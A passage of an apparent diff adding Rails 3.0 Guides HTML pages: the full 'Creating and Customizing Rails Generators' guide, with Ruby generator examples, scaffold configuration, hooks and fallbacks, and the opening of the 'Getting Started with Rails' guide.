+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Creating and Customizing Rails Generators</h2>
+<p>Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.</p>
+<p>In this guide you will:</p>
+<ul>
+	<li>Learn how to see which generators are available in your application</li>
+	<li>Create a generator using templates</li>
+	<li>Learn how Rails searches for generators before invoking them</li>
+	<li>Customize your scaffold by creating new generators</li>
+	<li>Customize your scaffold by changing generator templates</li>
+	<li>Learn how to use fallbacks to avoid overwriting a huge set of generators</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#first-contact">First Contact</a></li><li><a href="#creating-your-first-generator">Creating Your First Generator</a></li><li><a href="#creating-generators-with-generators">Creating Generators with Generators</a></li><li><a href="#generators-lookup">Generators Lookup</a></li><li><a href="#customizing-your-workflow">Customizing Your Workflow</a></li><li><a href="#customizing-your-workflow-by-changing-generators-templates">Customizing Your Workflow by Changing Generators Templates</a></li><li><a href="#adding-generators-fallbacks">Adding Generators Fallbacks</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='note'><p>This guide is about generators in Rails 3, previous versions are not covered.</p></div>
+<h3 id="first-contact">1 First Contact</h3>
+<p>When you create an application using the <tt>rails</tt> command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking <tt>rails generate</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails new myapp
+$ cd myapp
+$ rails generate
+</pre>
+</div>
+</notextile>
+
+<p>You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate helper --help
+</pre>
+</div>
+</notextile>
+
+<h3 id="creating-your-first-generator">2 Creating Your First Generator</h3>
+<p>Since Rails 3.0, generators are built on top of <a href="http://github.com/wycats/thor">Thor</a>. Thor provides powerful options parsing and a great <span class="caps">API</span> for manipulating files. For instance, let&#8217;s build a generator that creates an initializer file named <tt>initializer.rb</tt> inside <tt>config/initializers</tt>.</p>
+<p>The first step is to create a file at <tt>lib/generators/initializer_generator.rb</tt> with the following content:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class InitializerGenerator &lt; Rails::Generators::Base
+  def create_initializer_file
+    create_file &quot;config/initializers/initializer.rb&quot;, &quot;# Add initialization content here&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Our new generator is quite simple: it inherits from <tt>Rails::Generators::Base</tt> and has one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the <tt>create_file</tt> method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates <span class="caps">API</span>, you&#8217;ll feel right at home with the new generators <span class="caps">API</span>.</p>
+<p>To invoke our new generator, we just need to do:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate initializer
+</pre>
+</div>
+</notextile>
+
+<p>Before we go on, let&#8217;s see our brand new generator description:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate initializer --help
+</pre>
+</div>
+</notextile>
+
+<p>Rails is usually able to generate good descriptions if a generator is namespaced, as <tt>ActiveRecord::Generators::ModelGenerator</tt>, but not in this particular case. We can solve this problem in two ways. The first one is calling <tt>desc</tt> inside our generator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class InitializerGenerator &lt; Rails::Generators::Base
+  desc &quot;This generator creates an initializer file at config/initializers&quot;
+  def create_initializer_file
+    create_file &quot;config/initializers/initializer.rb&quot;, &quot;# Add initialization content here&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now we can see the new description by invoking <tt>--help</tt> on the new generator. The second way to add a description is by creating a file named <tt>USAGE</tt> in the same directory as our generator. We are going to do that in the next step.</p>
+<h3 id="creating-generators-with-generators">3 Creating Generators with Generators</h3>
+<p>Generators themselves have a generator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate generator initializer
+      create  lib/generators/initializer
+      create  lib/generators/initializer/initializer_generator.rb
+      create  lib/generators/initializer/USAGE
+      create  lib/generators/initializer/templates
+</pre>
+</div>
+</notextile>
+
+<p>This is the generator just created:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class InitializerGenerator &lt; Rails::Generators::NamedBase
+  source_root File.expand_path(&quot;../templates&quot;, __FILE__)
+end
+</pre>
+</div>
+</notextile>
+
+<p>First, notice that we are inheriting from <tt>Rails::Generators::NamedBase</tt> instead of <tt>Rails::Generators::Base</tt>. This means that our generator expects at least one argument, which will be the name of the initializer.</p>
+<p>We can see that by invoking the description of this new generator (don&#8217;t forget to delete the old generator file):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate initializer --help
+Usage:
+  rails generate initializer NAME [options]
+</pre>
+</div>
+</notextile>
+
+<p>We can also see that our new generator has a class method called <tt>source_root</tt>. This method points to where our generator templates will be placed, if any, and by default it points to the created directory <tt>lib/generators/initializer/templates</tt>.</p>
+<p>In order to understand what a generator template means, let&#8217;s create the file <tt>lib/generators/initializer/templates/initializer.rb</tt> with the following content:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Add initialization content here
+</pre>
+</div>
+</notextile>
+
+<p>And now let&#8217;s change the generator to copy this template when invoked:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class InitializerGenerator &lt; Rails::Generators::NamedBase
+  source_root File.expand_path(&quot;../templates&quot;, __FILE__)
+
+  def copy_initializer_file
+    copy_file &quot;initializer.rb&quot;, &quot;config/initializers/#{file_name}.rb&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>And let&#8217;s execute our generator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate initializer core_extensions
+</pre>
+</div>
+</notextile>
+
+<p>We can see that now a initializer named core_extensions was created at <tt>config/initializers/core_extensions.rb</tt> with the contents of our template. That means that <tt>copy_file</tt> copied a file in our source root to the destination path we gave. The method <tt>file_name</tt> is automatically created when we inherit from <tt>Rails::Generators::NamedBase</tt>.</p>
+<h3 id="generators-lookup">4 Generators Lookup</h3>
+<p>When you run <tt>rails generate initializer core_extensions</tt> Rails requires these files in turn until one is found:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+</pre>
+</div>
+</notextile>
+
+<p>If none is found you get an error message.</p>
+<div class='info'><p>The examples above put files under the application&#8217;s <tt>lib</tt> because said directoty belongs to <tt>$LOAD_PATH</tt>.</p></div>
+<h3 id="customizing-your-workflow">5 Customizing Your Workflow</h3>
+<p>Rails own generators are flexible enough to let you customize scaffolding. They can be configured in <tt>config/application.rb</tt>, these are some defaults:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, :fixture =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<p>Before we customize our workflow, let&#8217;s first see what our scaffold looks like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate scaffold User name:string
+      invoke  active_record
+      create    db/migrate/20091120125558_create_users.rb
+      create    app/models/user.rb
+      invoke    test_unit
+      create      test/unit/user_test.rb
+      create      test/fixtures/users.yml
+       route  resources :users
+      invoke  scaffold_controller
+      create    app/controllers/users_controller.rb
+      invoke    erb
+      create      app/views/users
+      create      app/views/users/index.html.erb
+      create      app/views/users/edit.html.erb
+      create      app/views/users/show.html.erb
+      create      app/views/users/new.html.erb
+      create      app/views/users/_form.html.erb
+      invoke    test_unit
+      create      test/functional/users_controller_test.rb
+      invoke    helper
+      create      app/helpers/users_helper.rb
+      invoke      test_unit
+      create        test/unit/helpers/users_helper_test.rb
+      invoke  stylesheets
+      create    public/stylesheets/scaffold.css
+</pre>
+</div>
+</notextile>
+
+<p>Looking at this output, it&#8217;s easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn&#8217;t actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.</p>
+<p>Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, :fixture =&gt; false
+  g.stylesheets     false
+end
+</pre>
+</div>
+</notextile>
+
+<p>If we generate another resource with the scaffold generator, we can notice that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it&#8217;s just a matter of adding their gems to your application and configuring your generators.</p>
+<p>To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate generator my_helper
+</pre>
+</div>
+</notextile>
+
+<p>After that, we can delete both the <tt>templates</tt> directory and the <tt>source_root</tt> class method from our new generators, because we are not going to need them. So our new generator looks like the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class MyHelperGenerator &lt; Rails::Generators::NamedBase
+  def create_helper_file
+    create_file &quot;app/helpers/#{file_name}_helper.rb&quot;, &lt;&lt;-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>We can try out our new generator by creating a helper for users:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate my_helper products
+</pre>
+</div>
+</notextile>
+
+<p>And it will generate the following helper file in <tt>app/helpers</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ProductsHelper
+  attr_reader :products, :product
+end
+</pre>
+</div>
+</notextile>
+
+<p>Which is what we expected. We can now tell scaffold to use our new helper generator by editing <tt>config/application.rb</tt> once again:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, :fixture =&gt; false
+  g.stylesheets     false
+  g.helper          :my_helper
+end
+</pre>
+</div>
+</notextile>
+
+<p>and see it in action when invoking the generator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate scaffold Post body:text
+      [...]
+      invoke    my_helper
+      create      app/helpers/posts_helper.rb
+</pre>
+</div>
+</notextile>
+
+<p>We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.</p>
+<p>Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.</p>
+<p>To do that, we can change the generator this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class MyHelperGenerator &lt; Rails::Generators::NamedBase
+  def create_helper_file
+    create_file &quot;app/helpers/#{file_name}_helper.rb&quot;, &lt;&lt;-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+
+  hook_for :test_framework
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both <tt>MyHelper::Generators::TestUnitGenerator</tt> and <tt>TestUnit::Generators::MyHelperGenerator</tt>. Since none of those are defined, we can tell our generator to invoke <tt>TestUnit::Generators::HelperGenerator</tt> instead, which is defined since it&#8217;s a Rails generator. To do that, we just need to add:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Search for :helper instead of :my_helper
+  hook_for :test_framework, :as =&gt; :helper
+</pre>
+</div>
+</notextile>
+
+<p>And now you can re-run scaffold for another resource and see it generating tests as well!</p>
+<h3 id="customizing-your-workflow-by-changing-generators-templates">6 Customizing Your Workflow by Changing Generators Templates</h3>
+<p>In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it&#8217;s by replacing the templates of already existing generators, in that case <tt>Rails::Generators::HelperGenerator</tt>.</p>
+<p>In Rails 3.0 and above, generators don&#8217;t just look in the source root for templates, they also search for templates in other paths. And one of them is <tt>lib/templates</tt>. Since we want to customize <tt>Rails::Generators::HelperGenerator</tt>, we can do that by simply making a template copy inside <tt>lib/templates/rails/helper</tt> with the name <tt>helper.rb</tt>. So let&#8217;s create that file with the following content:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+module &lt;%= class_name %&gt;Helper
+  attr_reader :&lt;%= plural_name %&gt;, &lt;%= plural_name.singularize %&gt;
+end
+</pre>
+</div>
+</notextile>
+
+<p>and revert the last change in <tt>config/application.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, :fixture =&gt; false
+  g.stylesheets     false
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating <tt>edit.html.erb</tt>, <tt>index.html.erb</tt> and so on inside <tt>lib/templates/erb/scaffold</tt>.</p>
+<h3 id="adding-generators-fallbacks">7 Adding Generators Fallbacks</h3>
+<p>One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like <a href="http://github.com/thoughtbot/shoulda">shoulda</a> does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a <tt>TestUnit</tt> generator if none was found under the <tt>Shoulda</tt> namespace.</p>
+<p>We can easily simulate this behavior by changing our <tt>config/application.rb</tt> once again:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :shoulda, :fixture =&gt; false
+  g.stylesheets     false
+
+  # Add a fallback!
+  g.fallbacks[:shoulda] = :test_unit
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate scaffold Comment body:text
+      invoke  active_record
+      create    db/migrate/20091120151323_create_comments.rb
+      create    app/models/comment.rb
+      invoke    shoulda
+      create      test/unit/comment_test.rb
+      create      test/fixtures/comments.yml
+       route  map.resources :comments
+      invoke  scaffold_controller
+      create    app/controllers/comments_controller.rb
+      invoke    erb
+      create      app/views/comments
+      create      app/views/comments/index.html.erb
+      create      app/views/comments/edit.html.erb
+      create      app/views/comments/show.html.erb
+      create      app/views/comments/new.html.erb
+      create      app/views/comments/_form.html.erb
+      create      app/views/layouts/comments.html.erb
+      invoke    shoulda
+      create      test/functional/comments_controller_test.rb
+      invoke    my_helper
+      create      app/helpers/comments_helper.rb
+      invoke      shoulda
+      create        test/unit/helpers/comments_helper_test.rb
+</pre>
+</div>
+</notextile>
+
+<p>Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.</p>
+<h3 id="changelog">8 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/102">Lighthouse Ticket</a></p>
+<ul>
+	<li>August 23, 2010: Edit pass by <a href="credits.html#fxn">Xavier Noria</a></li>
+</ul>
+<ul>
+	<li>April 30, 2010: Reviewed by Josรฉ Valim</li>
+</ul>
+<ul>
+	<li>November 20, 2009: First version by Josรฉ Valim</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/getting_started.html
@@ -0,0 +1,1732 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Getting Started with Rails</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Getting Started with Rails</h2>
+<p>This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:</p>
+<ul>
+	<li>Installing Rails, creating a new Rails application, and connecting your application to a database</li>
+	<li>The general layout of a Rails application</li>
+	<li>The basic principles of <span class="caps">MVC</span> (Model, View Controller) and RESTful design</li>
+	<li>How to quickly generate the starting pieces of a Rails application.</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#guide-assumptions">Guide Assumptions</a></li><li><a href="#what-is-rails">What is Rails?</a><ul><li><a href="#the-mvc-architecture">The <span class="caps">MVC</span> Architecture</a></li> <li><a href="#the-components-of-rails">The Components of Rails</a></li> <li><a href="#rest"><span class="caps">REST</span></a></li></ul></li><li><a href="#creating-a-new-rails-project">Creating a New Rails Project</a><ul><li><a href="#installing-rails">Installing Rails</a></li> <li><a href="#creating-the-blog-application">Creating the Blog Application</a></li> <li><a href="#installing-the-required-gems">Installing the Required Gems</a></li> <li><a href="#configuring-a-database">Configuring a Database</a></li> <li><a href="#creating-the-database">Creating the Database</a></li></ul></li><li><a href="#hello-rails">Hello, Rails!</a><ul><li><a href="#starting-up-the-web-server">Starting up the Web Server</a></li> <li><a href="#say-hello-rails">Say &#8220;Hello&#8221;, Rails</a></li> <li><a href="#setting-the-application-home-page">Setting the Application Home Page</a></li></ul></li><li><a href="#getting-up-and-running-quickly-with-scaffolding">Getting Up and Running Quickly with Scaffolding</a></li><li><a href="#creating-a-resource">Creating a Resource</a><ul><li><a href="#running-a-migration">Running a Migration</a></li> <li><a href="#adding-a-link">Adding a Link</a></li> <li><a href="#working-with-posts-in-the-browser">Working with Posts in the Browser</a></li> <li><a href="#the-model">The Model</a></li> <li><a href="#adding-some-validation">Adding Some Validation</a></li> <li><a href="#using-the-console">Using the Console</a></li> <li><a href="#listing-all-posts">Listing All Posts</a></li> <li><a href="#customizing-the-layout">Customizing the Layout</a></li> <li><a href="#creating-new-posts">Creating New Posts</a></li> <li><a href="#showing-an-individual-post">Showing an Individual Post</a></li> <li><a href="#editing-posts">Editing Posts</a></li> <li><a href="#destroying-a-post">Destroying a Post</a></li></ul></li><li><a href="#adding-a-second-model">Adding a Second Model</a><ul><li><a href="#generating-a-model">Generating a Model</a></li> <li><a href="#associating-models">Associating Models</a></li> <li><a href="#adding-a-route-for-comments">Adding a Route for Comments</a></li> <li><a href="#generating-a-controller">Generating a Controller</a></li></ul></li><li><a href="#refactoring">Refactoring</a><ul><li><a href="#rendering-partial-collections">Rendering Partial Collections</a></li> <li><a href="#rendering-a-partial-form">Rendering a Partial Form</a></li></ul></li><li><a href="#deleting-comments">Deleting Comments</a><ul><li><a href="#deleting-associated-objects">Deleting Associated Objects</a></li></ul></li><li><a href="#security">Security</a></li><li><a href="#building-a-multi-model-form">Building a Multi-Model Form</a></li><li><a href="#view-helpers">View Helpers</a></li><li><a href="#what-s-next">What&#8217;s Next?</a></li><li><a href="#configuration-gotchas">Configuration Gotchas</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='warning'><p>This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.</p></div>
+<h3 id="guide-assumptions">1 Guide Assumptions</h3>
+<p>This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:</p>
+<ul>
+	<li>The <a href="http://www.ruby-lang.org/en/downloads">Ruby</a> language version 1.8.7 or higher</li>
+</ul>
+<div class='info'><p>Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.</p></div>
+<ul>
+	<li>The <a href="http://rubyforge.org/frs/?group_id=126">RubyGems</a> packaging system</li>
+	<li>A working installation of the <a href="http://www.sqlite.org">SQLite3 Database</a></li>
+</ul>
+<p>Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails.  There are some good free resources on the internet for learning Ruby, including:</p>
+<ul>
+	<li><a href="http://www.humblelittlerubybook.com">Mr. Neighborly&#8217;s Humble Little Ruby Book</a></li>
+	<li><a href="http://www.ruby-doc.org/docs/ProgrammingRuby/">Programming Ruby</a></li>
+	<li><a href="http://mislav.uniqpath.com/poignant-guide/">Why&#8217;s (Poignant) Guide to Ruby</a></li>
+</ul>
+<h3 id="what-is-rails">2 What is Rails?</h3>
+<p>Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun.</p>
+<p>Rails is opinionated software. It makes the assumption that there is a &#8220;best&#8221; way to do things, and it&#8217;s designed to encourage that way &#8211; and in some cases to discourage alternatives. If you learn &#8220;The Rails Way&#8221; you&#8217;ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.</p>
+<p>The Rails philosophy includes several guiding principles:</p>
+<ul>
+	<li><span class="caps">DRY</span> &#8211; &#8220;Don&#8217;t Repeat Yourself&#8221; &#8211; suggests that writing the same code over and over again is a bad thing.</li>
+	<li>Convention Over Configuration &#8211; means that Rails makes assumptions about what you want to do and how you&#8217;re going to do it, rather than requiring you to specify every little thing through endless configuration files.</li>
